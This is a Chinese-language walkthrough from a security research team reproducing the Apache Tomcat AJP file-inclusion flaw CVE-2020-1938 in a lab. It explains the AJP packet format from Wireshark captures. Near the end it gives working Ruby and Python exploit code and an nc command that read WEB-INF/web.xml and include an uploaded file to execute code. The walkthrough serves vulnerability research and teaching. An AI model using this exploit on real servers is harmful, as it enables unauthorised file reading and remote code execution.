作者: xax007@知道創宇404 ScanV安全服務團隊
作者博客:https://xax007.github.io/2020/02/25/Apache-Tomcat-AJP-LFI-and-LCE-CVE-2020-1938-Walkthrough.html
看到CVE-2020-1938:Tomcat AJP 文件包含漏洞分析文章決定參考漏洞代碼的同時從 AJP 協議入手重現此漏洞
通過鏈接中的文章可知本次漏洞產生的原因是:
由于 Tomcat 在處理 AJP 請求時,未對請求做任何驗證, 通過設置 AJP 連接器封裝的 request 對象的屬性, 導致產生任意文件讀取漏洞和代碼執行漏洞
設置 request 對象的那幾個屬性呢? 下面這三個:
- javax.servlet.include.request_uri
- javax.servlet.include.path_info
- javax.servlet.include.servlet_path
也就是說我們只要構造 AJP 請求, 在請求是定義這三個屬性就可以觸發此漏洞
此前了解到 Apache HTTP Server 可反向代理 AJP 協議,因此決定從此處入手.
搭建 Apache Tomcat 服務
首先從官網下載了存在漏洞的版本 apache-tomcat-9.0.30, 并在 Ubuntu Server 18.04 虛擬機中運行
unzip apache-tomcat-9.0.30.zip
cd apache-tomcat-9.0.30/bin
chmod +x *.sh
./startup.sh
Tomcat 啟動以后可以發現系統多監聽了三個端口, 8050, 8080, 8009

通過查看 Tomcat 目錄下的 conf/server.xml 文件可以看到以下兩行(多余內容已省略)
...
<Connector port="8080" protocol="HTTP/1.1"
...
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
...
從這兩行可以看出定義了 8080 端口上 是 HTTP 協議, 而 8009 端口就是本篇的主角 AJP協議的通信接口
HTTP協議: 連接器監聽 8080 端口,負責建立HTTP連接。在通過瀏覽器訪問 Tomcat 服務器的Web應用時,使用的就是這個連接器。
AJP協議: 連接器監聽 8009 端口,負責和其他的HTTP服務器建立連接。Tomcat 與其他HTTP服務器集成時,就需要用到這個連接器。
Apache HTTP Server 的 mod-jk 模塊可以對 AJP 協議進行反向代理,因此開始配置 Kali Linux 里的 Apache HTTP Server.
安裝apache http server的模塊依賴
首先為了讓 Apache HTTP Server 能反向代理 AJP 協議安裝 mod-jk
apt install libapache2-mod-jk
a2enmod proxy_ajp
配置 Apache HTTP Server
在 Kali linux 的 /etc/apache2/sites-enabled/ 目錄新建一個文件, 文件名隨意, 例如新建一個叫 ajp.conf 的文件, 內容如下
ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
# 體現下面的IP地位為搭建好的 tomcat 的 IP 地址
ProxyPass / ajp://192.168.109.134:8009/
ProxyPassReverse / ajp://192.168.109.134:8009/
重啟 Apache
systemctl start apache2
此時把虛擬機的 192.168.109.134 的 8009 通過 Apache 反向代理到了本機的 80 端口
在 Kali Linux 中開啟 wireshark 抓包并配置顯示過濾條件為 ajp13, 此條件下 wireshark 會只抓取到的 AJP 協議的包, 但為了僅看到想到的數據包, 進一步設置顯示過濾條件為 ajp13.method == 0x02

配置好 wireshark 以后, 打開瀏覽器訪問 127.0.0.1 可以發現雖然訪問的是本地回環地址,但實際上訪問的是在上面配置的Apache Tomcat, 查看 Wireshark 可以看到它已經抓取我們此次請求的數據包

從上面的截圖中可以看到 Wireshark 能夠解析 AJP 協議
深入淺出 AJP 協議
AJP協議全稱為 Apache JServ Protocol 目前最新的版本為 1.3
AJP協議是一個二進制的TCP傳輸協議,相比HTTP這種純文本的協議來說,效率和性能更高,也做了很多優化。因為是二進制協議,所以瀏覽器并不能直接支持 AJP13 協議
本問重點分析與本次漏洞有關的 AJP13_FORWARD_REQUEST 請求格式, 分析 wireshark 抓取到的數據包后理解格式并構造特定數據包進行漏洞利用
關于 AJP 協議的更多信息請查看 官方文檔
Apache JServ Protocol(AJP) 協議的 AJP13_FORWARD_REQUEST 請求通過分析數據化分析出由以下幾個部分組成
AJP MAGIC (1234) AJP DATA LENGTH AJP DATA AJP END (ff)
在 Wireshark 中選中上面截圖中的 REQ:GET 包的AJP協議部分, 右鍵選擇 copy -> ... as a Hex Stram 粘貼在任意位置查看, 我的數據包如下

1234016302020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100ff
按照上文中的格式:
- 前四個字節
1234為AJP MAGIC 0163為AJP DATA LENGTH,這個值是怎么來的呢?
用 python 代碼可以計算出 AJP DATA LENGTH 為: 完整的數據包去掉 AJP MAGIC 和最后的 0xff 結束標志之前的數據長度,也就是下圖中選中部分數據的長度
![python code: hex(len(binascii.unhexlify(packet)[2:-2]))](https://images.seebug.org/content/images/2020/03/18/1584511010000-5riemw.png-w331s)
我們需要關注的是第三章圖最后兩行,也就是下面這兩行
AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1
在 Wireshark 中復制(選中該行右鍵copy-> as hex stream) 出 16 進制字符串為:
0a000f414a505f52454d4f54455f504f5254000005353930353800 # AJP_REMOTE_PORT: 59058
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100 # AJP_LOCAL_ADDR: 127.0.0.1
這些字符串怎么構造的呢?
0a00 是request_header的標志, 表示后面的數據是 request_header. 在官方文檔有寫
0f 是 request_header 的長度

414a505f52454d4f54455f504f5254 是 AJP_REMOTE_PORT
0000 用來分割請求頭名稱和值
053539303538 是 59058 的 16 進制
00 表示結束
關鍵的字節是怎么構造的已經明白了, 那現在只要把 Wireshark 中抓取到的數據包修改一下, 把
AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1
按照二進制數據格式替換成
javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/
在修改 AJP DATA LENGTH 為正確的大小即可
因此編寫了代碼構造了原始請求的 16 進制數據然后通過 nc 發送成功觸發漏洞
ruby 版
AJP_MAGIC = '1234'
AJP_REQUEST_HEADER = '02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100'
def pack_attr(s)
## return len(s) + unhex(s)
return s.length.to_s(16).to_s.rjust(2, "0") + s.unpack("H*")[0]
end
attribute = Hash[
'javax.servlet.include.request_uri' => '/WEB-INF/web.xml',
'javax.servlet.include.path_info' => 'web.xml',
'javax.servlet.include.servlet_path' => '/WEB-INF/']
req_attribute = ""
attribute.each do |key, value|
req_attribute += '0a00' + pack_attr(key) + '0000' + pack_attr(value) + '00'
end
AJP_DATA = AJP_REQUEST_HEADER + req_attribute + 'ff'
AJP_DATA_LENGTH = (AJP_DATA.length / 2).to_s(16).to_s.rjust(4, "0")
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH + AJP_DATA
puts AJP_FORWARD_REQUEST
python版
import binascii
AJP_MAGIC = '1234'.encode()
AJP_HEADER = b'02020008485454502f312e310000062f312e7478740000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100'
def unhex(hex):
return binascii.unhexlify(hex)
def pack_attr(attr):
attr_length = hex(len(attr))[2:].encode().zfill(2)
return attr_length + binascii.hexlify(attr.encode())
attribute = {
'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
'javax.servlet.include.path_info': 'web.xml',
'javax.servlet.include.servlet_path': '/WEB-INF/',
}
req_attribute = b''
for key,value in attribute.items():
key_length = hex(len(key))[2:].encode().zfill(2)
value_length = hex(len(value))[2:].encode().zfill(2)
req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'
AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)
測試一下
ruby ajp-exp.rb | xxd -r -p | nc -v 172.16.19.171 8009

BINGO!
成功讀取 /WEB-INF/web.xml 文件的源碼
那現在怎么執行代碼?
在 Tomcat webapps/ROOT 目錄下新建一個文件 1.txt
然后構造那三個屬性修改值為:
javax.servlet.include.request_uri: /1.txt
javax.servlet.include.path_info: 1.txt
javax.servlet.include.servlet_path: /
在測試一下
ruby ajp-exp.rb | xxd -r -p | nc -v 172.16.19.171 8009

BINGO AGAIN
參考鏈接
-
https://tomcat.apache.org/connectors-doc-archive/jk2/common/AJPv13.html
-
https://gist.github.com/xax007/97e999403baec32c84a666e6fe261072
-
https://ionize.com.au/exploiting-apache-tomcat-port-8009-using-apache-jserv-protocol/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1147/
暫無評論